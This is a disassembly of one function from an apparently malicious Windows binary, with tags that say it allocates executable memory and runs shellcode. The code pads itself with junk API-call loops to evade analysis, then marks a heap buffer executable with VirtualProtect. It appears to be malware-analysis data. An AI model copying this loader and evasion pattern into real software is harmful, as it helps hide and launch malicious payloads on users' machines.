Function at 0x4316d0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create mailslot
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x438676
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2470
call fcn.0040d680
push ebx
mov ebx, dword [sym.imp.GDI32.dll_SetBkColor]
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebp, ebp
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e330
jge 0x43171e
call edi
push ebp
push ebp
call ebx
cmp esi, 0x1e9a5eb2
jle 0x43173a
cmp dword [esp + 0x10], 0xbf2068
je 0x43173a
cmp dword [esp + 0x54], 0x926a1a8
jne 0x431743
inc esi
cmp esi, 0x98a0a
jl 0x431710
cmp dword [0x25a1ab4], 0xcf8
jne 0x431849
push ebp
push ebp
push ebp
call fcn.00405361
add esp, 0xc
push 0x403424
push ebp
call fcn.00405361
push ebp
push ebp
push ebp
push ebp
call fcn.0040501e
push ebp
call fcn.00405326
add esp, 0x1c
push ebp
push ebp
call fcn.00404acc
push ebp
call fcn.00405356
add esp, 0xc
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
mov dword [esp + 0x248c], ebp
xor eax, eax
mov dword [esp + 0x5c], 0xf
mov dword [esp + 0x58], ebp
mov byte [esp + 0x48], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4317b4
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x4317ce
push 0x4038f8
call fcn.00404a2b
cmp esi, 0xf
jbe 0x4317e1
push ebp
push esi
lea eax, [esp + 0x50]
push eax
call fcn.00404840
jmp 0x4317ee
cmp esi, ebp
jne 0x4317f0
mov dword [esp + 0x58], ebp
mov byte [esp + 0x48], 0
cmp esi, ebp
seta al
mov edi, 0x10
test al, al
je 0x43182b
mov eax, dword [esp + 0x48]
cmp dword [esp + 0x5c], edi
jae 0x43180a
lea eax, [esp + 0x48]
push esi
push ebp
push eax
call fcn.004098b0
mov eax, dword [esp + 0x54]
add esp, 0xc
mov dword [esp + 0x58], esi
cmp dword [esp + 0x5c], edi
jae 0x431827
lea eax, [esp + 0x48]
mov byte [eax + esi], 0
cmp dword [esp + 0x5c], edi
jb 0x43183e
mov ecx, dword [esp + 0x48]
push ecx
call fcn.0040541e
add esp, 4
call fcn.00404a99
push ebp
call fcn.004052d4
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
cmp esi, 0x408
jne 0x43186a
mov eax, 0x5d1
add dword [0x25a1ab4], eax
cmp dword [0x25a1ab4], 3
jne 0x431881
push ebp
call edi
push ebp
lea edx, [esp + 0x484]
push edx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x431857
mov eax, dword [0x25a1ab4]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x457844], eax
mov eax, dword [0x25a1ab4]
xor esi, esi
cmp eax, ebp
jbe 0x431908
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
lea esp, [esp]
cmp eax, 0xfe
jne 0x4318d9
push 0
call edi
call ebx
push 0x403430
push 0x40344c
call ebp
call fcn.00431380
mov eax, dword [0x25a1ab4]
cmp eax, 0x29
jne 0x431901
lea ecx, [esp + 0x10]
push ecx
push 0
push 0x403458
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
mov eax, dword [0x25a1ab4]
inc esi
cmp esi, eax
jb 0x4318c0
xor ebp, ebp
cmp eax, 0x70
jne 0x4319e5
push 0x40348c
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebp
call dword [sym.imp.KERNEL32.dll_FatalExit]
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_CreateMailslotA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov dword [esp + 0x10], 0x9682ab
cmp eax, 3
jne 0x431a38
push 0
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x48c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x25a1ab4]
cmp eax, 0xdf
jne 0x431b49
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4036cc
call edi
push 0x403700
push 0
push 0
call ebp
lea eax, [esp + 0x38]
push eax
push 0x403748
push 0
call ebx
xor eax, eax
lea ecx, [esp + 0x40]
push ecx
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0x403794
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x3c]
push edx
push 0
lea eax, [esp + 0x488]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x4037c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403810
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x84]
push edx
push 0x403824
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc84]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x50]
push 0
push edx
mov dword [esp + 0x54], 0
call fcn.00409830
add esp, 0xc
push 0
lea eax, [esp + 0x4c]
push eax
push 0x403848
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x25a1ab4]
dec dword [esp + 0x10]
jne 0x431a05
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea ebx, [ebx]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x431b70
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x25a1ab4], 0x222
jne 0x431ba0
push 0
call esi
dec edi
jne 0x431b90
mov edx, dword [0x25a1ab4]
mov eax, dword [0x457844]
lea ecx, [esp + 0x14]
push ecx
push 0x40
push edx
push eax
mov byte [0x452ab0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00431680
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x25a1ab4], ebx
jne 0x431bee
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x20]
push edx
push 0
call edi
cmp esi, 0x2f64
jne 0x431c00
add dword [0x457844], 0
inc esi
cmp esi, 0x1605a
jl 0x431bd6
call fcn.00431620
cmp dword [0x25a1ab4], 0xc30
jne 0x431cca
lea eax, [esp + 0xc80]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x80]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea edx, [esp + 0x1c84]
push edx
push 0
push 0x4038e4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea eax, [esp + 0x18]
push eax
push 0
lea ecx, [esp + 0x48c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0x1484]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
mov ecx, dword [esp + 0x2484]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret